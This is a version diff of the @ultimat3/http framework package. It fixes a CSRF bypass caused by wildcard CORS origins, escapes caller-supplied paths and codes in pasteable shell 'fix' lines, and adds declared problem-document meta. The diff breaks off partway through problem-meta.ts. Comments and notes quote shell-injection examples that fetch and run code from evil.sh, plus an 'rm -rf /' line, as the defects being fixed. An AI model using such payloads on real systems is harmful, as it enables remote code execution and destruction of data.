@ultimat3/http 19.1.3 → 19.3.1

package/CLAUDE.md

@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
   and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
   PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
+  **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
+  is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
+  everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
+  `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
+  between two Ultimate services under the default `trustProxy` (false), for a value that carries
+  correlation and no authority. Never "fix" the inconsistency by gating it.
 - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
   `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
   every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
   requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
   `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
+  The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
   `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
   TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
   **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
   before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
   `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
-  `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). The self
+  `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
+  `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
+  2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
+  (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
+  read as "this origin is one we allow": every origin on the internet was same-origin, and the
+  cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
   origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
   TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
   double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
@@ -250,9 +262,24 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
   JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
   the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
-  renders. The parser's own message goes through core's `renderThrowable`, never `String(error)`:
+  renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
   `bun run error-render` cannot see this class of defect, because a `catch` binding is not a
   parameter, so it is a review rule here and a blind spot there.
+- **`meta` reaches the document only by declaration — per code, per key, app codes only**
+  (`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
+  there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
+  paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
+  an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
+  had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
+  X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
+  in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
+  plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
+  are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
+  reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
+  `opaque` condition that blanks `cause`, which is also the belt on "both registrations are
+  needed": a code with keys and no status is unclassified. The typed client
+  (`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
+  the four members that class owns.
 - **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
   One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
   stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
@@ -572,6 +599,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
   in-flight counter — core waits on work it does not know about, so a private counter
   hangs every deploy at the `inflight` phase.
+- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
+  sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
+  `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
+  `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
+  that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
+  this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
+  that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
+  closure's business and never the drain's.
+- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
+  `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
+  caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
+  line the framework tells its reader to paste. The value still travels in the `cause`, which is
+  read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
+  live in every POSIX shell.
+  **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
+  `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
+  not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
+  `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
+  so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
+  `server.ts`; the value still travels in `facts.code`.
+  **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
+  gate above screens the code this package renders INTO a command; this one screens a whole command
+  a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
+  object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
+  framework code beside it makes the line read as the framework's own — `isUltimateError`, and
+  nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
+  error that crossed a wire and lost its brand falls to the generated line, which is honest. The
+  `cause` still travels: a cause is read, never run.
 - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
   `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
   only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and

package/README.md

@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
 | an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
 | a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
 | `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
-| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an `Origin` in `cors.origins` — anything else is refused before the body is read |
+| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
 | a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
 | the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
 | a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |
@@ -342,6 +342,30 @@ identifier a client switches on, per code, with no host to resolve or rot. `docs
 in a table row and a table row has no anchor. Assert against `problemTypeFor` and
 `ERROR_DOCS_URL`, never against a copy of either string.
 
+An error's `meta` is **operator-only by default** and the document never carries it: that bag is
+where `bodyInvalid` keeps the excerpt the parser choked on, where the limiter keeps the internal
+key it promoted an anonymous caller to, and where core's `assert` keeps the rejected value. An app
+that wants a key on the wire declares it, per code, beside the status — and both declarations
+are needed, because a code with no status is an unclassified 5xx whose `meta` is blanked with
+its `cause`:
+
+```ts
+import { registerErrorStatus, registerProblemMeta } from '@ultimat3/http';
+
+registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
+registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
+```
+
+The document then carries `meta: { sessionId, title, state }` — the declared keys that are set,
+copied member by member (`__proto__` skipped at every depth), and nothing else off the error. It
+is all-or-nothing, as `issues` is: one value JSON cannot carry (a `Date`, a `bigint`, a class
+instance, a cycle) or a serialisation past `MAX_PROBLEM_META_BYTES` (4096) drops the whole member,
+because a document missing one declared key is a claim the server never made. Absent when no
+declared key is set — never `{}`. A framework-owned code is refused (`X_PROBLEM_META_INVALID`),
+as is `issues`, which has its own top-level home. `@ultimat3/action`'s typed client puts the
+member back on the rebuilt error's `meta`, so an island reads `error.meta.sessionId` where it
+used to run a regex over `cause`.
+
 ## Boundaries
 
 Tier 2. Imports `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n` and `@ultimat3/time` —

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ultimat3/http",
-  "version": "19.1.3",
+  "version": "19.3.1",
   "description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
   "license": "MIT",
   "type": "module",
@@ -31,9 +31,9 @@
     "test": "bun test"
   },
   "dependencies": {
-    "@ultimat3/core": "19.1.3",
-    "@ultimat3/i18n": "19.1.3",
-    "@ultimat3/schema": "19.1.3",
-    "@ultimat3/time": "19.1.3"
+    "@ultimat3/core": "19.3.1",
+    "@ultimat3/i18n": "19.3.1",
+    "@ultimat3/schema": "19.3.1",
+    "@ultimat3/time": "19.3.1"
   }
 }

package/src/correlation.ts

@@ -34,6 +34,12 @@ export interface InboundCorrelation {
 export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
   const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
   const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
+  // Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
+  // `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
+  // poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
+  // any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
+  // gating it would break tracing across two Ultimate services with the default `trustProxy`
+  // (false) for a value that is 32 hex characters of correlation and no authority at all.
   const parent = parseTraceparent(headers.get('traceparent'));
   return {
     requestId,

package/src/cors.ts

@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
 };
 
 /**
- * The one answer to "may this origin talk to us?". Exported for `csrf.ts`, which asks the same
- * question about a *request* rather than a response — a second list of allowed origins would be
- * a CORS policy and a CSRF policy that quietly disagree.
+ * Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
+ * never disagree about what was declared — but the wildcard is deliberately not an answer here.
+ * `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
+ * nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
+ * for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
+ * this app allows" and let a cross-site form post through with the session cookie attached.
+ */
+export const originListed = (config: CorsConfig, origin: string | null): boolean =>
+  origin !== null && config.origins.includes(origin);
+
+/**
+ * The one answer to "may this origin READ our reply?" — the value of
+ * `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
+ * request came from somewhere allowed to make it: that is `originListed`, above.
  */
 export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
   if (origin === null) return null;
   if (config.origins.includes('*')) return config.credentials ? null : '*';
-  return config.origins.includes(origin) ? origin : null;
+  return originListed(config, origin) ? origin : null;
 };
 
 /**

package/src/csrf.ts

@@ -6,7 +6,7 @@
 // first-class surface here rather than a legacy one.
 
 import type { CorsConfig } from './cors';
-import { allowedOrigin } from './cors';
+import { originListed } from './cors';
 
 export type CsrfMode = 'origin' | 'off';
 
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
   const site = input.secFetchSite;
   if (site === 'same-origin' || site === 'none') return { ok: true };
   if (input.origin === input.selfOrigin) return { ok: true };
-  if (input.origin !== null && allowedOrigin(input.cors, input.origin) !== null) {
-    return { ok: true };
-  }
+  // `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
+  // `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
+  // answer is `'*'`, which is not null and so read as "this origin is one we allow". A
+  // credentialed cross-site POST from evil.test was therefore accepted by the check that exists
+  // to refuse exactly it. An exact match is the only allowance a write may be built on.
+  if (originListed(input.cors, input.origin)) return { ok: true };
   // Only the four values a browser can send are quoted back. Anything else is a client that
   // wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
   // store and the response body — the same defect the error-map stage's log line had.

package/src/error-facts.ts

@@ -2,10 +2,18 @@
 // document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
 // 500-line ceiling — that file answers "what status is this code", one closed table, and this one
 // answers "what does a reader see", which is three audiences and one opacity rule.
-import { ERROR_DOCS_URL, renderCauseValue, singleLine, stringField } from '@ultimat3/core';
+import {
+  ERROR_DOCS_URL,
+  FRAMEWORK_CODE,
+  isUltimateError,
+  renderCauseValue,
+  singleLine,
+  stringField,
+} from '@ultimat3/core';
 import type { ValidationIssue } from '@ultimat3/schema';
 import { declaredStatusFor, statusFor } from './error-map';
 import { HTTP_ERROR_TITLES } from './errors';
+import { type ProblemMeta, problemMetaKeysFor, wireMeta } from './problem-meta';
 
 /** Everything a renderer (problem+json, overlay, terminal) needs from a throwable. */
 export interface ErrorFacts {
@@ -63,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
     // `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
     // command that throws is axiom 4 inverted: the one instruction the reader is given fails.
     // `x errors explain` ships, and it is the command that answers "what is this code".
-    fix: str(error, 'fix') ?? `x errors explain ${code} --json   # then fix the throwing call site`,
+    // `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
+    // package did not build, and this line is a COMMAND a reader pastes — `x errors explain
+    // X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
+    // answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
+    // `@ultimat3/mcp`'s `server.ts`.
+    // BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
+    // WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
+    // operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
+    // framework's own. An `UltimateError` built its `fix` in this process, through
+    // `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
+    // wire and lost its brand falls to the generated line below, which is honest rather than a
+    // command it did not author.
+    fix:
+      (isUltimateError(error) ? str(error, 'fix') : undefined) ??
+      (FRAMEWORK_CODE.test(code)
+        ? `x errors explain ${code} --json   # then fix the throwing call site`
+        : 'x errors list --json   # then fix the throwing call site'),
     // Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
     // and a code lives there in a table row, which has no anchor. An `UltimateError` already
     // resolved this at construction, so the fallback only fires for a throwable the framework did
@@ -179,6 +203,22 @@ function issuesOf(error: unknown): readonly ValidationIssue[] | undefined {
   }
 }
 
+/**
+ * The declared `meta` keys of a throwable, carried, or `undefined`. The declaration is read by
+ * the CODE — never by the class, which the framework cannot see across a bundle — and the walk
+ * itself is `wireMeta`'s. Total, for `retryAfterOf`'s reason: `meta` is a property read on a
+ * value this package did not build, in the frame that decides what the caller sees.
+ */
+function metaOf(error: unknown, code: string): ProblemMeta | undefined {
+  const keys = problemMetaKeysFor(code);
+  if (keys === undefined || typeof error !== 'object' || error === null) return undefined;
+  try {
+    return wireMeta((error as Record<string, unknown>)['meta'], keys);
+  } catch {
+    return undefined;
+  }
+}
+
 /**
  * RFC-9457 `type`, per code. A URN, and deliberately not a URL: `type` is the document's PRIMARY
  * identifier for the problem KIND — a client switches on it — while `docs` is where a human goes
@@ -214,6 +254,14 @@ export interface ProblemDocument {
    * `[]` says "validated clean", which is a different and false claim.
    */
   readonly issues?: readonly ValidationIssue[] | undefined;
+  /**
+   * The keys of the error's `meta` that `registerProblemMeta` declared for its code, JSON-safe
+   * and bounded — and nothing else off `meta`, which is the operator-only bag the rest of this
+   * package keeps OUT of the document (`HttpError`'s doc comment says why). ABSENT when the code
+   * declares none, when none of the declared keys is set, and when one of them cannot be carried
+   * — all-or-nothing, like `issues`, and for its reason.
+   */
+  readonly meta?: ProblemMeta | undefined;
 }
 
 /** The title a caller gets for a failure the framework cannot name. */
@@ -257,6 +305,9 @@ export const toProblem = (
   // withhold — it names the fields and the expectations of something the caller was never meant to
   // see the inside of. `X_INPUT_INVALID` is a declared 4xx, so it is never opaque.
   const issues = opaque ? undefined : issuesOf(error);
+  // The same condition, for the same reason: a code nobody classified cannot have declared any
+  // key either, so this is the belt on `registerProblemMeta`'s "both registrations are needed".
+  const carried = opaque ? undefined : metaOf(error, facts.code);
   return {
     type: problemTypeFor(facts.code),
     title: opaque ? INTERNAL_TITLE : facts.title,
@@ -269,6 +320,7 @@ export const toProblem = (
     docs: facts.docs,
     requestId: meta.requestId,
     ...(issues === undefined ? {} : { issues }),
+    ...(carried === undefined ? {} : { meta: carried }),
   };
 };
 

package/src/error-map.ts

@@ -31,6 +31,7 @@ export const ERROR_STATUS = {
   // and declaring a status the framework already owns. 500 is the honest answer to either.
   X_NO_REQUEST: 500,
   X_ERROR_STATUS_INVALID: 500,
+  X_PROBLEM_META_INVALID: 500,
   // A `hive()` whose `split()` returned no members. The caller cannot fix it by sending
   // different input — the guard belongs in the app, either by returning at least one member
   // or by skipping the hive when the source is empty — so it is the server's bug, not theirs.
@@ -338,6 +339,14 @@ export const ERROR_STATUS = {
   // runtime and makes that answer a reviewed one instead of an accident, which is the whole reason
   // this table is closed.
   X_UI_FORM_PATH_INVALID: 500,
+  // @ultimat3/render — an island handed props it cannot carry: an undeclared key, a value that is
+  // not JSON, or a bag over `ISLAND_PROPS_MAX_BYTES`. The author's fault and never the caller's,
+  // so 500 is the honest class — and it HAS to be a declared 500. Without a row the code was an
+  // unclassified failure, and `toProblem` blanks the cause of one of those outside dev
+  // (`isUnclassifiedFailure`): a 34-row catalog over the cap took a page down with a problem
+  // document that said "the details are in this process's logs" about an error whose whole
+  // value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
+  X_ISLAND_PROPS_INVALID: 500,
   // @ultimat3/mail
   // The deployment configured no transport. It reaches a caller only through an inline
   // `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side

package/src/errors.ts

@@ -4,6 +4,7 @@
 import {
   registerErrorCodes,
   registerErrorRetry,
+  renderFixShellArg,
   renderThrowable,
   UltimateError,
 } from '@ultimat3/core';
@@ -22,6 +23,7 @@ export const HTTP_OWNED_ERROR_CODES = [
   'X_PIPELINE_FINALIZE_FAILED',
   'X_NO_REQUEST',
   'X_ERROR_STATUS_INVALID',
+  'X_PROBLEM_META_INVALID',
   'X_CORS_CONFIG_INVALID',
   'X_CSP_DIRECTIVE_INVALID',
   'X_RATE_LIMIT_NOT_SHARED',
@@ -84,6 +86,7 @@ export const HTTP_ERROR_TITLES: Readonly<Record<HttpOwnedErrorCode, string>> = {
   X_PIPELINE_FINALIZE_FAILED: 'a finalize stage threw instead of finishing the response',
   X_NO_REQUEST: 'the inbound request is not in scope here',
   X_ERROR_STATUS_INVALID: 'an error code cannot be mapped to that status',
+  X_PROBLEM_META_INVALID: 'a problem document cannot carry that meta declaration',
   X_CORS_CONFIG_INVALID: 'the cors config can never produce a working response',
   X_CSP_DIRECTIVE_INVALID: 'a csp extension would emit something other than the directive it names',
   X_RATE_LIMIT_NOT_SHARED: 'the rate limit is declared fleet-wide and the store is per-process',
@@ -150,11 +153,20 @@ export class HttpError extends UltimateError {
   }
 }
 
+/**
+ * The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
+ * goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
+ * placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
+ * cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
+ * Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
+ * whose whole purpose is to be pasted into a terminal.
+ */
 export const routeNotFound = (method: string, pathname: string): HttpError =>
   new HttpError({
     code: 'X_ROUTE_NOT_FOUND',
+    // The value itself still travels, in the field that is read rather than run.
     cause: `no route registered for ${method} ${pathname}`,
-    fix: `x routes list --json   # then: x g route ${pathname}`,
+    fix: `x routes list --json   # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
   });
 
 export const methodNotAllowed = (
@@ -296,6 +308,18 @@ export const errorStatusInvalid = (code: string, reason: string): HttpError =>
     fix: `x errors list --json   # then registerErrorStatus({ ${code}: 422 }) with a status the framework does not already own`,
   });
 
+/**
+ * At boot, beside `errorStatusInvalid` and for the same class of mistake: a declaration the
+ * document could never honour — a framework-owned code, whose `meta` is operator-only; a key that
+ * is not one (`issues` rides at the top level already); or a second, different list for one code.
+ */
+export const problemMetaInvalid = (code: string, reason: string): HttpError =>
+  new HttpError({
+    code: 'X_PROBLEM_META_INVALID',
+    cause: `${code} cannot carry that meta: ${reason}`,
+    fix: `registerProblemMeta({ ${code}: ['<key>'] }) with the keys this app's error puts in meta, beside its registerErrorStatus() call`,
+  });
+
 /**
  * At `defineHttpConfig`, never on the request. A CORS pair a browser can never accept resolves to
  * "emit no CORS headers at all", which is unreadable from the console: every cross-origin call

package/src/index.ts

@@ -31,7 +31,7 @@ export {
 export type { InboundCorrelation } from './correlation';
 export { readCorrelation } from './correlation';
 export type { CorsConfig } from './cors';
-export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
+export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
 export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
 export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
 export type { Deadline } from './deadline';
@@ -115,6 +115,8 @@ export type { PeerIdentity } from './peer-identity';
 export { peerIdentity } from './peer-identity';
 export type { HandleInit, Pipeline, PipelineDeps } from './pipeline';
 export { createPipeline, PIPELINE_STAGES } from './pipeline';
+export type { ProblemMeta, ProblemMetaValue } from './problem-meta';
+export { MAX_PROBLEM_META_BYTES, registerProblemMeta, resetProblemMeta } from './problem-meta';
 export type {
   Bucket,
   MemoryRateLimitStore,

package/src/problem-meta.ts

@@ -0,0 +1,197 @@
+// Which of an error's `meta` keys a problem document may carry, per code — and the copy of them
+// that leaves the process. Split from `error-map.ts` (457 lines against the 500-line ceiling) and
+// kept beside it in shape: `registerErrorStatus` is the app's declaration of the HTTP half of a
+// code, and this is the second half of the same declaration, written in the same file of the app.
+//
+// OPT-IN, PER KEY, BY CODE — never "carry `meta`". `meta` is the framework's OPERATOR-ONLY bag
+// and four packages depend on it never reaching a caller: `bodyInvalid` puts the fragment of the
+// body the parser choked on there (a `{"password": …}` excerpt, once), the rate limiter puts the
+// internal key it promoted an anonymous caller to, core's `assert` puts the rejected VALUE, and
+// `env-example.ts` puts file paths. A blanket carry would have shipped every one of them to the
+// network tab. So an app names the keys, for the codes it owns, and everything else stays where
+// it was. Measured need: an app's `X_SESSION_CHECKOUT_BUSY` carried `{ sessionId, title, state }`
+// in `meta` and its island recovered the id by running a UUID regex over `cause`.
+
+import { ERROR_STATUS } from './error-map';
+import { problemMetaInvalid } from './errors';
+
+/** What a problem document's `meta` member holds — JSON, and nothing JSON cannot carry. */
+export type ProblemMetaValue =
+  | string
+  | number
+  | boolean
+  | null
+  | readonly ProblemMetaValue[]
+  | { readonly [key: string]: ProblemMetaValue };
+
+export type ProblemMeta = Readonly<Record<string, ProblemMetaValue>>;
+
+/**
+ * The serialised ceiling, in bytes, of what a document carries under `meta`. A problem body is a
+ * refusal, not a payload: `MAX_PROBLEM_ISSUES` bounds the other extension for the same reason.
+ * Over the cap the member is dropped WHOLE, never cut — a subset of keys is a claim the server
+ * never made, and a client reading `meta.sessionId` off a document that dropped `sessionId` to
+ * make room has no way to tell "absent" from "cut".
+ */
+export const MAX_PROBLEM_META_BYTES = 4096;
+
+/**
+ * A key is spelled the way a code's `meta` key is spelled in source. `issues` is refused by name
+ * because it already has a top-level home (`ProblemDocument.issues`, parsed and bounded on its
+ * own terms), and a second copy under `meta.issues` is two places for a client to read one fact.
+ * `__proto__` is refused because `JSON.parse` on the receiving side mints it as a real own key.
+ */
+const KEY = /^[A-Za-z_$][\w$]*$/;
+const RESERVED_KEYS: ReadonlySet<string> = new Set(['issues', '__proto__']);
+
+/** Per app-owned code, the `meta` keys its documents carry. A `Map`, for `APP_ERROR_STATUS`'s reason. */
+const DECLARED = new Map<string, readonly string[]>();
+
+const sameKeys = (left: readonly string[], right: readonly string[]): boolean =>
+  left.length === right.length && left.every((key, at) => key === right[at]);
+
+/**
+ * Declare, per code, which `meta` keys the problem document carries. Call it once at boot, in
+ * the module that declares the codes — beside `registerErrorStatus`, and BOTH are needed: a code
+ * with no declared status is an unclassified 5xx, and `toProblem` blanks everything but the code
+ * and the request id on one of those, `meta` included.
+ *
+ * ```ts
+ * registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
+ * registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
+ * ```
+ *
+ * Framework-owned codes are refused, exactly as `registerErrorStatus` refuses them: their `meta`
+ * is where the framework keeps what a caller must not be handed, and an app that could declare
+ * `X_RATE_LIMITED: ['key']` would publish the limiter's internal key on every 429.
+ */
+export const registerProblemMeta = (
+  declarations: Readonly<Record<string, readonly string[]>>,
+): void => {
+  for (const [code, keys] of Object.entries(declarations)) {
+    if (frameworkOwns(code)) {
+      throw problemMetaInvalid(code, 'the framework owns that code, and its meta is operator-only');
+    }
+    if (keys.length === 0) {
+      throw problemMetaInvalid(code, 'the key list is empty — omit the code instead');
+    }
+    for (const key of keys) {
+      if (typeof key !== 'string' || !KEY.test(key)) {
+        throw problemMetaInvalid(code, `${JSON.stringify(key)} is not a meta key`);
+      }
+      if (RESERVED_KEYS.has(key)) {
+        throw problemMetaInvalid(
+          code,
+          key === 'issues'
+            ? '`issues` already rides at the top level of the document'
+            : `\`${key}\` is not a key a document may carry`,
+        );
+      }
+    }
+    const existing = DECLARED.get(code);
+    if (existing !== undefined && !sameKeys(existing, keys)) {
+      throw problemMetaInvalid(code, `already declared as [${existing.join(', ')}] by this app`);
+    }
+    DECLARED.set(code, [...keys]);
+  }
+};
+
+/** Test seam. Production registers once at boot and never unregisters. */
+export const resetProblemMeta = (): void => DECLARED.clear();
+
+/** The keys declared for a code, or `undefined` when nothing was — which is every framework code. */
+export const problemMetaKeysFor = (code: string): readonly string[] | undefined =>
+  DECLARED.get(code);
+
+/**
+ * A code this package's table maps is the framework's. A `Set` of the table's own keys, for the
+ * reason `frameworkStatus` reads that table through `Object.hasOwn`: it is an object literal,
+ * and `registerProblemMeta({ toString: [...] })` must not find a function in it.
+ */
+const FRAMEWORK_CODES: ReadonlySet<string> = new Set(Object.keys(ERROR_STATUS));
+const frameworkOwns = (code: string): boolean => FRAMEWORK_CODES.has(code);
+
+/**
+ * The declared keys of `meta`, copied member by member into a fresh document, or `undefined`.
+ *
+ * TOTAL — `meta` is a property read on a value this package did not build, in the frame that
+ * decides what the caller sees (`retryAfterOf`'s reason). ALL-OR-NOTHING, for `issuesOf`'s
+ * reason: a document carrying `sessionId` and silently missing `state` is a claim the server
+ * never made. So one value JSON cannot carry — a function, a `bigint`, a `Date`, a class
+ * instance, a non-finite number, a cycle — drops the WHOLE member, and so does a serialisation
+ * past `MAX_PROBLEM_META_BYTES`. A structural walk and never a `JSON.stringify` round trip: the
+ * round trip drops a function and an `undefined` SILENTLY, which is the footgun rather than the
+ * check (`@ultimat3/render`'s `island-props.ts` walks for the same reason).
+ *
+ * ABSENT when nothing survives — never `{}`. `{}` says "the server declared meta and had none",
+ * which a client cannot tell from "the server carries no meta for this code".
+ */
+export function wireMeta(source: unknown, keys: readonly string[]): ProblemMeta | undefined {
+  try {
+    if (typeof source !== 'object' || source === null) return undefined;
+    const meta = source as Record<string, unknown>;
+    const out: Record<string, ProblemMetaValue> = {};
+    let carried = 0;
+    for (const key of keys) {
